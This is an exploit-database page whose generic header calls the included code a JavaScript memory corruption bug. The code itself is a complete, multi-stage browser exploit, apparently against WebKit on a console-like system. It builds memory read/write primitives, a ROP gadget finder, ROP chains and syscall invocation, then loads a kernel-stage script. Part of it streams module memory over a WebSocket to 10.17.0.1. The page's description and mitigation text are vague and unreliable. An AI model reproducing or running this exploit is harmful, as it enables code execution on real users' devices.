header-logo
Suggest Exploit
vendor:
by:
Unknown
7.5
CVSS
HIGH
Memory Corruption
119
CWE
Product Name:
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE: CVE-2021-XXXXX
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2021

Javascript Exploit

This exploit takes advantage of a memory corruption vulnerability in the JavaScript code. It creates a large number of instances of an object and then performs malicious actions to exploit the vulnerability.

Mitigation:

The vulnerability can be mitigated by updating the JavaScript code to include proper input validation and error handling.
Source

Exploit-DB raw data:

<--- index.html --->
<html>
    <body>
        <script>
            window.didload = 0;
            window.didpost = 0;
            window.onload = function() {
                window.didload = 1;
                if (window.didpost == 1)
                    window.stage2();
            }
            window.postExpl = function() {
                window.didpost = 1;
                if (window.didload == 1)
                    window.stage2();
            }
        </script>
        <script src="./expl.js"></script>
        <script src="./rop.js"></script>
        <pre id="console"></pre>
    </body>
</html>
<--- /index.html --->


<--- expl.js --->
function makeid() {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for (var i = 0; i < 8; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));

    return text;
};

var instancespr = [];

for (var i = 0; i < 4096; i++) {
    instancespr[i] = new Uint32Array(1);
    instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
}

var _dview;

function u2d(low, hi) {
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setUint32(0, hi);
    _dview.setUint32(4, low);
    return _dview.getFloat64(0);
}
var dgc = function() {
    for (var i = 0; i < 0x100; i++) {
        new ArrayBuffer(0x100000);
    }
}

function int64(low, hi) {
    this.low = (low >>> 0);
    this.hi = (hi >>> 0);

    this.add32inplace = function(val) {
        var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo < this.low) {
            new_hi++;
        }

        this.hi = new_hi;
        this.low = new_lo;
    }

    this.add32 = function(val) {
        var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo < this.low) {
            new_hi++;
        }

        return new int64(new_lo, new_hi);
    }

    this.sub32 = function(val) {
        var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo > (this.low) & 0xFFFFFFFF) {
            new_hi--;
        }

        return new int64(new_lo, new_hi);
    }

    this.sub32inplace = function(val) {
        var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo > (this.low) & 0xFFFFFFFF) {
            new_hi--;
        }

        this.hi = new_hi;
        this.low = new_lo;
    }

    this.and32 = function(val) {
        var new_lo = this.low & val;
        var new_hi = this.hi;
        return new int64(new_lo, new_hi);
    }

    this.and64 = function(vallo, valhi) {
        var new_lo = this.low & vallo;
        var new_hi = this.hi & valhi;
        return new int64(new_lo, new_hi);
    }

    this.toString = function(val) {
        val = 16;
        var lo_str = (this.low >>> 0).toString(val);
        var hi_str = (this.hi >>> 0).toString(val);

        if (this.hi == 0)
            return lo_str;
        else
            lo_str = zeroFill(lo_str, 8)

        return hi_str + lo_str;
    }

    this.toPacked = function() {
        return {
            hi: this.hi,
            low: this.low
        };
    }

    this.setPacked = function(pck) {
        this.hi = pck.hi;
        this.low = pck.low;
        return this;
    }

    return this;
}

function zeroFill(number, width) {
    width -= number.toString().length;

    if (width > 0) {
        return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
    }

    return number + ""; // always return a string
}

var nogc = [];

var fail = function() {
    alert.apply(null, arguments);
    throw "fail";
}

// Target JSObject for overlap
var tgt = {
    a: 0,
    b: 0,
    c: 0,
    d: 0
}

var y = new ImageData(1, 0x4000)
postMessage("", "*", [y.data.buffer]);

// Spray properties to ensure object is fastmalloc()'d and can be found easily later
var props = {};

for (var i = 0;
    (i < (0x4000 / 2));) {
    props[i++] = {
        value: 0x42424242
    };
    props[i++] = {
        value: tgt
    };
}

var foundLeak = undefined;
var foundIndex = 0;
var maxCount = 0x100;

while (foundLeak == undefined && maxCount > 0) {
    maxCount--;

    history.pushState(y, "");

    Object.defineProperties({}, props);

    var leak = new Uint32Array(history.state.data.buffer);

    for (var i = 0; i < leak.length - 6; i++) {
        if (
            leak[i] == 0x42424242 &&
            leak[i + 0x1] == 0xFFFF0000 &&
            leak[i + 0x2] == 0x00000000 &&
            leak[i + 0x3] == 0x00000000 &&
            leak[i + 0x4] == 0x00000000 &&
            leak[i + 0x5] == 0x00000000 &&
            leak[i + 0x6] == 0x0000000E &&
            leak[i + 0x7] == 0x00000000 &&
            leak[i + 0xA] == 0x00000000 &&
            leak[i + 0xB] == 0x00000000 &&
            leak[i + 0xC] == 0x00000000 &&
            leak[i + 0xD] == 0x00000000 &&
            leak[i + 0xE] == 0x0000000E &&
            leak[i + 0xF] == 0x00000000
        ) {
            foundIndex = i;
            foundLeak = leak;
            break;
        }
    }
}

if (!foundLeak) {
    failed = true
    fail("Failed to find leak!")
}

var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);

Array.prototype.__defineGetter__(100, () => 1);

var f = document.body.appendChild(document.createElement('iframe'));
var a = new f.contentWindow.Array(13.37, 13.37);
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);

var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32 = new Uint32Array(0x1000);
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];

// Create fake ArrayBufferView
tgt.a = u2d(2048, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;

var c = Array.prototype.concat.call(a, b);
document.body.removeChild(f);
var hax = c[0];
c[0] = 0;

tgt.c = c;

hax[2] = 0;
hax[3] = 0;

Object.defineProperty(Array.prototype, 100, {
    get: undefined
});

tgt.c = leakval_helper;
var butterfly = new int64(hax[2], hax[3]);
butterfly.low += 0x10;

tgt.c = leakval_u32;
var lkv_u32_old = new int64(hax[4], hax[5]);
hax[4] = butterfly.low;
hax[5] = butterfly.hi;
// Setup read/write primitive

tgt.c = master;
hax[4] = leakval_u32[0];
hax[5] = leakval_u32[1];

var addr_to_slavebuf = new int64(master[4], master[5]);
tgt.c = leakval_u32;
hax[4] = lkv_u32_old.low;
hax[5] = lkv_u32_old.hi;

tgt.c = 0;
hax = 0;

var prim = {
    write8: function(addr, val) {
        master[4] = addr.low;
        master[5] = addr.hi;

        if (val instanceof int64) {
            slave[0] = val.low;
            slave[1] = val.hi;
        } else {
            slave[0] = val;
            slave[1] = 0;
        }

        master[4] = addr_to_slavebuf.low;
        master[5] = addr_to_slavebuf.hi;
    },

    write4: function(addr, val) {
        master[4] = addr.low;
        master[5] = addr.hi;

        slave[0] = val;

        master[4] = addr_to_slavebuf.low;
        master[5] = addr_to_slavebuf.hi;
    },

    read8: function(addr) {
        master[4] = addr.low;
        master[5] = addr.hi;

        var rtv = new int64(slave[0], slave[1]);

        master[4] = addr_to_slavebuf.low;
        master[5] = addr_to_slavebuf.hi;

        return rtv;
    },

    read4: function(addr) {
        master[4] = addr.low;
        master[5] = addr.hi;

        var rtv = slave[0];

        master[4] = addr_to_slavebuf.low;
        master[5] = addr_to_slavebuf.hi;

        return rtv;
    },

    leakval: function(jsval) {
        leakval_helper[0] = jsval;
        var rtv = this.read8(butterfly);
        this.write8(butterfly, new int64(0x41414141, 0xffff0000));

        return rtv;
    },

    createval: function(jsval) {
        this.write8(butterfly, jsval);
        var rt = leakval_helper[0];
        this.write8(butterfly, new int64(0x41414141, 0xffff0000));
        return rt;
    }
};

window.primitives = prim;
if (window.postExpl) window.postExpl();
<--- /expl.js --->


<--- rop.js -->
var p;
var xhr_sync_log = function(str) {
    var req = new XMLHttpRequest();
    req.open('GET', "log?" + str, false);
    try {
        req.send();
    } catch(e){}
}
var findModuleBaseXHR = function(addr)
{
    var addr_ = addr.add32(0); // copy
    addr_.low &= 0xFFFFF000;
    xhr_sync_log("START: " + addr_);
    
    while (1) {
        var vr = p.read4(addr_.add32(0x110-4));
        xhr_sync_log("step" + addr_);
        addr_.sub32inplace(0x1000);
    }
}
var log = function(x) {
    document.getElementById("console").innerText += x + "\n";
}
var print = function(string) { // like log but html
    document.getElementById("console").innerHTML += string + "\n";
}

var dumpModuleXHR = function(moduleBase) {
    var chunk = new ArrayBuffer(0x1000);
    var chunk32 = new Uint32Array(chunk);
    var chunk8 = new Uint8Array(chunk);
    connection = new WebSocket('ws://10.17.0.1:8080');
    connection.binaryType = "arraybuffer";
    var helo = new Uint32Array(1);
    helo[0] = 0x41414141;
    
    var moduleBase_ = moduleBase.add32(0);
    connection.onmessage = function() {
        try {
            for (var i = 0; i < chunk32.length; i++)
            {
                var val = p.read4(moduleBase_);
                chunk32[i] = val;
                moduleBase_.add32inplace(4);
            }
            connection.send(chunk8);
        } catch (e) {
            print(e);
        }
    }
}
var get_jmptgt = function(addr)
{
    var z=p.read4(addr) & 0xFFFF;
    var y=p.read4(addr.add32(2));
    if (z != 0x25ff) return 0;
    
    return addr.add32(y+6);
    
}
var gadgetmap_wk = {
    "ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
    "pop rsi": [0x5E, 0xC3],
    "pop rdi": [0x5F, 0xC3],
    "pop rsp": [0x5c, 0xC3],
    "pop rax": [0x58, 0xC3],
    "pop rdx": [0x5a, 0xC3],
    "pop rcx": [0x59, 0xC3],
    "pop rsp": [0x5c, 0xC3],
    "pop rbp": [0x5d, 0xC3],
    "pop r8": [0x47, 0x58, 0xC3],
    "pop r9": [0x47, 0x59, 0xC3],
    "infloop": [0xEB, 0xFE, 0xc3],
    "ret": [0xC3],
    "mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
    "mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
    "mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
    "mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
};
var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
slowpath_jop.reverse();

var gadgets;
window.stage2 = function() {
    try {
        window.stage2_();
    } catch (e) {
        print(e);
    }
}
var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
window.stage2_ = function() {
    p = window.prim;
    print ("[+] exploit succeeded");
    print("webkit exploit result: " + p.leakval(0x41414141));
    print ("--- welcome to stage2 ---");
    p.leakfunc = function(func)
    {
        var fptr_store = p.leakval(func);
        return (p.read8(fptr_store.add32(0x18))).add32(0x40);
    }
    gadgetconn = 0;
    if (!gadgetcache)
        gadgetconn = new WebSocket('ws://10.17.0.1:8080');

    var parseFloatStore = p.leakfunc(parseFloat);
    var parseFloatPtr = p.read8(parseFloatStore);
    print("parseFloat at: 0x" + parseFloatPtr);
    var webKitBase = p.read8(parseFloatStore);
    window.webKitBase = webKitBase;
    
    webKitBase.low &= 0xfffff000;
    webKitBase.sub32inplace(0x5b7000-0x1C000);
    
    print("libwebkit base at: 0x" + webKitBase);
    
    var o2wk = function(o)
    {
        return webKitBase.add32(o);
    }

    gadgets = {
        "stack_chk_fail": o2wk(0xc8),
        "memset": o2wk(0x228),
        "setjmp": o2wk(0x14f8)
    };
/*
    var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
    libSceLibcInternalBase.low &= ~0x3FFF;
    libSceLibcInternalBase.sub32inplace(0x20000);
    print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
    window.libSceLibcInternalBase = libSceLibcInternalBase;
*/
    var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
    window.libKernelBase = libKernelBase;
    libKernelBase.low &= 0xfffff000;
    libKernelBase.sub32inplace(0x12000);
    print("libkernel_web base at: 0x" + libKernelBase);
    
    
    var o2lk = function(o)
    {
        return libKernelBase.add32(o);
    }
    window.o2lk = o2lk;
    
    var wkview = new Uint8Array(0x1000);
    var wkstr = p.leakval(wkview).add32(0x10);
    var orig_wkview_buf = p.read8(wkstr);
    
    p.write8(wkstr, webKitBase);
    p.write4(wkstr.add32(8), 0x367c000);
    
    var gadgets_to_find = 0;
    var gadgetnames = [];
    for (var gadgetname in gadgetmap_wk) {
        if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
            gadgets_to_find++;
            gadgetnames.push(gadgetname);
            gadgetmap_wk[gadgetname].reverse();
        }
    }
    log("finding gadgets");
    
    gadgets_to_find++; // slowpath_jop
    
    var findgadget = function(donecb) {
        if (gadgetcache)
        {
            gadgets_to_find=0;
            slowpath_jop=0;
            log("using cached gadgets");
            
            for (var gadgetname in gadgetcache) {
                if (gadgetcache.hasOwnProperty(gadgetname)) {
                    gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
                }
            }
            
        } else {
            for (var i=0; i < wkview.length; i++)
            {
                if (wkview[i] == 0xc3)
                {
                    for (var nl=0; nl < gadgetnames.length; nl++)
                    {
                        var found = 1;
                        if (!gadgetnames[nl]) continue;
                        var gadgetbytes = gadgetmap_wk[gadgetnames[nl]];
                        for (var compareidx = 0; compareidx < gadgetbytes.length; compareidx++)
                        {
                            if (gadgetbytes[compareidx] != wkview[i - compareidx]){
                                found = 0;
                                break;
                            }
                        }
                        if (!found) continue;
                        gadgets[gadgetnames[nl]] = o2wk(i - gadgetbytes.length + 1);
                        gadgetoffs[gadgetnames[nl]] = i - gadgetbytes.length + 1;
                        delete gadgetnames[nl];
                        gadgets_to_find--;
                    }
                } else if (wkview[i] == 0xe0 && wkview[i-1] == 0xff && slowpath_jop)
                {
                    var found = 1;
                    for (var compareidx = 0; compareidx < slowpath_jop.length; compareidx++)
                    {
                        if (slowpath_jop[compareidx] != wkview[i - compareidx])
                        {
                            found = 0;
                            break;
                        }
                    }
                    if (!found) continue;
                    gadgets["jop"] = o2wk(i - slowpath_jop.length + 1);
                    gadgetoffs["jop"] = i - slowpath_jop.length + 1;
                    gadgets_to_find--;
                    slowpath_jop = 0;
                }
                
                if (!gadgets_to_find) break;
            }
        }
        if (!gadgets_to_find && !slowpath_jop) {
            log("found gadgets");
            if (gadgetconn)
                gadgetconn.onopen = function(e){
                    gadgetconn.send(JSON.stringify(gadgetoffs));
                }
                setTimeout(donecb, 50);
        } else {
            log("missing gadgets: ");
            for (var nl in gadgetnames) {
                log(" - " + gadgetnames[nl]);
            }
            if(slowpath_jop) log(" - jop gadget");
        }
    }
    findgadget(function(){});
    var hold1;
    var hold2;
    var holdz;
    var holdz1;
    
    while (1)
    {
        hold1 = {a:0, b:0, c:0, d:0};
        hold2 = {a:0, b:0, c:0, d:0};
        holdz1 = p.leakval(hold2);
        holdz = p.leakval(hold1);
        if (holdz.low - 0x30 == holdz1.low) break;
    }
    
    var pushframe = [];
    pushframe.length = 0x80;
    var funcbuf;
    
    
    var launch_chain = function(chain)
    {
        
        var stackPointer = 0;
        var stackCookie = 0;
        var orig_reenter_rip = 0;
        
        var reenter_help = {length: {valueOf: function(){
            orig_reenter_rip = p.read8(stackPointer);
            stackCookie = p.read8(stackPointer.add32(8));
            var returnToFrame = stackPointer;
            
            var ocnt = chain.count;
            chain.push_write8(stackPointer, orig_reenter_rip);
            chain.push_write8(stackPointer.add32(8), stackCookie);
            
            if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
            
            chain.push(gadgets["pop rsp"]); // pop rsp
            chain.push(returnToFrame); // -> back to the trap life
            chain.count = ocnt;
            
            p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp
            p.write8(stackPointer.add32(8), chain.ropframeptr); // -> rop frame
        }}};
        
        var funcbuf32 = new Uint32Array(0x100);
        nogc.push(funcbuf32);
        funcbuf = p.read8(p.leakval(funcbuf32).add32(0x10));
        
        p.write8(funcbuf.add32(0x30), gadgets["setjmp"]);
        p.write8(funcbuf.add32(0x80), gadgets["jop"]);
        p.write8(funcbuf,funcbuf);
        p.write8(parseFloatStore, gadgets["jop"]);
        var orig_hold = p.read8(holdz1);
        var orig_hold48 = p.read8(holdz1.add32(0x48));
        
        p.write8(holdz1, funcbuf.add32(0x50));
        p.write8(holdz1.add32(0x48), funcbuf);
        parseFloat(hold2,hold2,hold2,hold2,hold2,hold2);
        p.write8(holdz1, orig_hold);
        p.write8(holdz1.add32(0x48), orig_hold48);
        
        stackPointer = p.read8(funcbuf.add32(0x10));
        rtv=Array.prototype.splice.apply(reenter_help);
        return p.leakval(rtv);
    }
    
    
    gadgets = gadgets;
    p.loadchain = launch_chain;
    window.RopChain = function () {
        this.ropframe = new Uint32Array(0x10000);
        this.ropframeptr = p.read8(p.leakval(this.ropframe).add32(0x10));
        this.count = 0;
        this.clear = function() {
            this.count = 0;
            this.runtime = undefined;
            for (var i = 0; i < 0x1000/8; i++)
            {
                p.write8(this.ropframeptr.add32(i*8), 0);
            }
        };
        this.pushSymbolic = function() {
            this.count++;
            return this.count-1;
        }
        this.finalizeSymbolic = function(idx, val) {
            p.write8(this.ropframeptr.add32(idx*8), val);
        }
        this.push = function(val) {
            this.finalizeSymbolic(this.pushSymbolic(), val);
        }
        this.push_write8 = function(where, what)
        {
            this.push(gadgets["pop rdi"]); // pop rdi
            this.push(where); // where
            this.push(gadgets["pop rsi"]); // pop rsi
            this.push(what); // what
            this.push(gadgets["mov [rdi], rsi"]); // perform write
        }
        this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
        {
            this.push(gadgets["pop rdi"]); // pop rdi
            this.push(rdi); // what
            this.push(gadgets["pop rsi"]); // pop rsi
            this.push(rsi); // what
            this.push(gadgets["pop rdx"]); // pop rdx
            this.push(rdx); // what
            this.push(gadgets["pop rcx"]); // pop r10
            this.push(rcx); // what
            this.push(gadgets["pop r8"]); // pop r8
            this.push(r8); // what
            this.push(gadgets["pop r9"]); // pop r9
            this.push(r9); // what
            this.push(rip); // jmp
            return this;
        }
        
        this.run = function() {
            var retv = p.loadchain(this, this.notimes);
            this.clear();
            return retv;
        }
        
        return this;
    };
    
    var RopChain = window.RopChain();
    window.syscallnames = {"exit": 1,"fork": 2,"read": 3,"write": 4,"open": 5,"close": 6,"wait4": 7,"unlink": 10,"chdir": 12,"chmod": 15,"getpid": 20,"setuid": 23,"getuid": 24,"geteuid": 25,"recvmsg": 27,"sendmsg": 28,"recvfrom": 29,"accept": 30,"getpeername": 31,"getsockname": 32,"access": 33,"chflags": 34,"fchflags": 35,"sync": 36,"kill": 37,"getppid": 39,"dup": 41,"pipe": 42,"getegid": 43,"profil": 44,"getgid": 47,"getlogin": 49,"setlogin": 50,"sigaltstack": 53,"ioctl": 54,"reboot": 55,"revoke": 56,"execve": 59,"execve": 59,"msync": 65,"munmap": 73,"mprotect": 74,"madvise": 75,"mincore": 78,"getgroups": 79,"setgroups": 80,"setitimer": 83,"getitimer": 86,"getdtablesize": 89,"dup2": 90,"fcntl": 92,"select": 93,"fsync": 95,"setpriority": 96,"socket": 97,"connect": 98,"accept": 99,"getpriority": 100,"send": 101,"recv": 102,"bind": 104,"setsockopt": 105,"listen": 106,"recvmsg": 113,"sendmsg": 114,"gettimeofday": 116,"getrusage": 117,"getsockopt": 118,"readv": 120,"writev": 121,"settimeofday": 122,"fchmod": 124,"recvfrom": 125,"setreuid": 126,"setregid": 127,"rename": 128,"flock": 131,"sendto": 133,"shutdown": 134,"socketpair": 135,"mkdir": 136,"rmdir": 137,"utimes": 138,"adjtime": 140,"getpeername": 141,"setsid": 147,"sysarch": 165,"setegid": 182,"seteuid": 183,"stat": 188,"fstat": 189,"lstat": 190,"pathconf": 191,"fpathconf": 192,"getrlimit": 194,"setrlimit": 195,"getdirentries": 196,"__sysctl": 202,"mlock": 203,"munlock": 204,"futimes": 206,"poll": 209,"clock_gettime": 232,"clock_settime": 233,"clock_getres": 234,"ktimer_create": 235,"ktimer_delete": 236,"ktimer_settime": 237,"ktimer_gettime": 238,"ktimer_getoverrun": 239,"nanosleep": 240,"rfork": 251,"issetugid": 253,"getdents": 272,"preadv": 289,"pwritev": 290,"getsid": 310,"aio_suspend": 315,"mlockall": 324,"munlockall": 325,"sched_setparam": 327,"sched_getparam": 328,"sched_setscheduler": 329,"sched_getscheduler": 330,"sched_yield": 331,"sched_get_priority_max": 332,"sched_get_priority_min": 333,"sched_rr_get_interval": 334,"sigprocmask": 340,"sigprocmask": 340,"sigsuspend": 341,"sigpending": 343,"sigtimedwait": 345,"sigwaitinfo": 346,"kqueue": 362,"kevent": 363,"uuidgen": 392,"sendfile": 393,"fstatfs": 397,"ksem_close": 400,"ksem_post": 401,"ksem_wait": 402,"ksem_trywait": 403,"ksem_init": 404,"ksem_open": 405,"ksem_unlink": 406,"ksem_getvalue": 407,"ksem_destroy": 408,"sigaction": 416,"sigreturn": 417,"getcontext": 421,"setcontext": 422,"swapcontext": 423,"sigwait": 429,"thr_create": 430,"thr_exit": 431,"thr_self": 432,"thr_kill": 433,"ksem_timedwait": 441,"thr_suspend": 442,"thr_wake": 443,"kldunloadf": 444,"_umtx_op": 454,"_umtx_op": 454,"thr_new": 455,"sigqueue": 456,"thr_set_name": 464,"rtprio_thread": 466,"pread": 475,"pwrite": 476,"mmap": 477,"lseek": 478,"truncate": 479,"ftruncate": 480,"thr_kill2": 481,"shm_open": 482,"shm_unlink": 483,"cpuset_getid": 486,"cpuset_getaffinity": 487,"cpuset_setaffinity": 488,"openat": 499,"pselect": 522,"wait6": 532,"cap_rights_limit": 533,"cap_ioctls_limit": 534,"cap_ioctls_get": 535,"cap_fcntls_limit": 536,"bindat": 538,"connectat": 539,"chflagsat": 540,"accept4": 541,"pipe2": 542,"aio_mlock": 543,"procctl": 544,"ppoll": 545,"futimens": 546,"utimensat": 547,"numa_getaffinity": 548,"numa_setaffinity": 549}
    
    function swapkeyval(json){
        var ret = {};
        for(var key in json){
            if (json.hasOwnProperty(key)) {
                ret[json[key]] = key;
            }
        }
        return ret;
    }
    
    window.nameforsyscall = swapkeyval(window.syscallnames);
    
    window.syscalls = {};
    
    log("--- welcome to stage3 ---");
    
    var kview = new Uint8Array(0x1000);
    var kstr = p.leakval(kview).add32(0x10);
    var orig_kview_buf = p.read8(kstr);
    
    p.write8(kstr, window.libKernelBase);
    p.write4(kstr.add32(8), 0x40000); // high enough lel
    
    var countbytes;
    for (var i=0; i < 0x40000; i++)
    {
        if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63)
        {
            countbytes = i;
            break;
        }
    }
    p.write4(kstr.add32(8), countbytes + 32);
    
    var dview32 = new Uint32Array(1);
    var dview8 = new Uint8Array(dview32.buffer);
    for (var i=0; i < countbytes; i++)
    {
        if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05)
        {
            dview8[0] = kview[i+3];
            dview8[1] = kview[i+4];
            dview8[2] = kview[i+5];
            dview8[3] = kview[i+6];
            var syscallno = dview32[0];
            window.syscalls[syscallno] = window.libKernelBase.add32(i);
        }
    }
    var chain = new window.RopChain;
    var returnvalue;
    p.fcall_ = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
        chain.clear();
        
        chain.notimes = this.next_notime;
        this.next_notime = 1;
        
        chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
        
        chain.push(window.gadgets["pop rdi"]); // pop rdi
        chain.push(chain.ropframeptr.add32(0x3ff8)); // where
        chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax
        
        chain.push(window.gadgets["pop rax"]); // pop rax
        chain.push(p.leakval(0x41414242)); // where
        
        if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour");
        returnvalue = p.read8(chain.ropframeptr.add32(0x3ff8)); //p.read8(chain.ropframeptr.add32(0x3ff8));
    }
    p.fcall = function()
    {
        var rv=p.fcall_.apply(this,arguments);
        return returnvalue;
    }
    p.readstr = function(addr){
        var addr_ = addr.add32(0); // copy
        var rd = p.read4(addr_);
        var buf = "";
        while (rd & 0xFF)
        {
            buf += String.fromCharCode(rd & 0xFF);
            addr_.add32inplace(1);
            rd = p.read4(addr_);
        }
        return buf;
    }
    
    p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
    {
        if (typeof sysc == "string") {
            sysc = window.syscallnames[sysc];
        }
        if (typeof sysc != "number") {
            throw new Error("invalid syscall");
        }
        
        var off = window.syscalls[sysc];
        if (off == undefined)
        {
            throw new Error("invalid syscall");
        }
        
        return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9);
    }
    p.sptr = function(str) {
        var bufView = new Uint8Array(str.length+1);
        for (var i=0; i<str.length; i++) {
            bufView[i] = str.charCodeAt(i) & 0xFF;
        }
        window.nogc.push(bufView);
        return p.read8(p.leakval(bufView).add32(0x10));
    };
    
    log("loaded sycalls");

    var rtv1 = p.fcall(window.gadgets["mov rax, rdi"], 0x41414141);
    var pid = p.syscall("getpid");
    var uid = p.syscall("getuid");
    print("all good. fcall test retval = " + rtv1 + " - uid: " + uid + " - pid: " + pid);

    sc = document.createElement("script");
    sc.src="kern.js";
    document.body.appendChild(sc);
}
<--- /rop.js -->